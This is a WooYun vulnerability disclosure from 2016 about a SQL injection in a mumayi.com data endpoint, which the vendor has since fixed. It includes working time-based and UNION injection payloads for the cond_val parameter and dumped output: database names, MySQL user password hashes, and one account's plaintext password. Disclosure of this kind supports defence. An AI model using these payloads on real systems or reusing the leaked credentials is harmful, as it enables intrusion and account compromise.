当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0173085

漏洞标题:木蚂蚁注入漏洞

相关厂商:mumayi.com

漏洞作者: 呆呆狗

提交时间:2016-01-27 16:09

修复时间:2016-01-28 09:53

公开时间:2016-01-28 09:53

漏洞类型:SQL注入

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-27: 细节已通知厂商并且等待厂商处理中
2016-01-27: 厂商已经确认,细节仅向厂商公开
2016-01-28: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

mysql联合查询注入

详细说明:

请求地址:http://union.mumayi.com/index.php?s=/Data/showdata
POST参数:daytype=&start_date=2016-01-27&end_date=2016-01-27&tbl_cond=apkid&cond_val=1
未过滤变量名:cond_val

Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: daytype=&start_date=2016-01-27&end_date=2016-01-27&tbl_cond=apkid&cond_val=1') AND (SELECT * FROM (SELECT(SLEEP(5)))CTqg) AND ('bzil'='bzil
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: daytype=&start_date=2016-01-27&end_date=2016-01-27&tbl_cond=apkid&cond_val=1') UNION ALL SELECT NULL,NULL,CONCAT(0x7162786b71,0x6e797559624146496e4d,0x71766b6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---

漏洞证明:

web application technology: Nginx
back-end DBMS: MySQL 5.0.12
available databases [9]:
[*] information_schema
[*] kumayipay_kumayi
[*] mumayipay_mumayi
[*] mysql
[*] oauth
[*] performance_schema
[*] uc
[*] uc_mumayi
[*] ucenter
back-end DBMS: MySQL 5.0.12
database management system users password hashes:
[*] dev57 [1]:
password hash: *95EFE725E6B747621D7540FF6E14912EC090BD41
[*] dev57pay [1]:
password hash: *3D11988C53A8999B73696324F36007C296C6FF6E
[*] phpmyadmin [1]:
password hash: *779ABEA12875AA7833C9696751592E74919453AF
[*] rep [1]:
password hash: *E53143681748C023449D43ADD525270B695EF656
[*] root [2]:
password hash: *8C239A5D1876C04CF3CBF309A5477F1EE227C9AC
password hash: NULL
[*] ucenter [1]:
password hash: *95EFE725E6B747621D7540FF6E14912EC090BD41
[*] union [1]:
password hash: *95EFE725E6B747621D7540FF6E14912EC090BD41
[*] www [1]:
password hash: *95EFE725E6B747621D7540FF6E14912EC090BD41

修复方案:

过滤参数,mysql密码过于简单 rep账号对应的密码是mumayi

版权声明:转载请注明来源 呆呆狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-01-27 16:33

厂商回复:

技术蚂蚁已经进行处理,感谢提醒

最新状态:

2016-01-28:非常谢谢,反馈的安全问题,我们技术已打上安全补丁。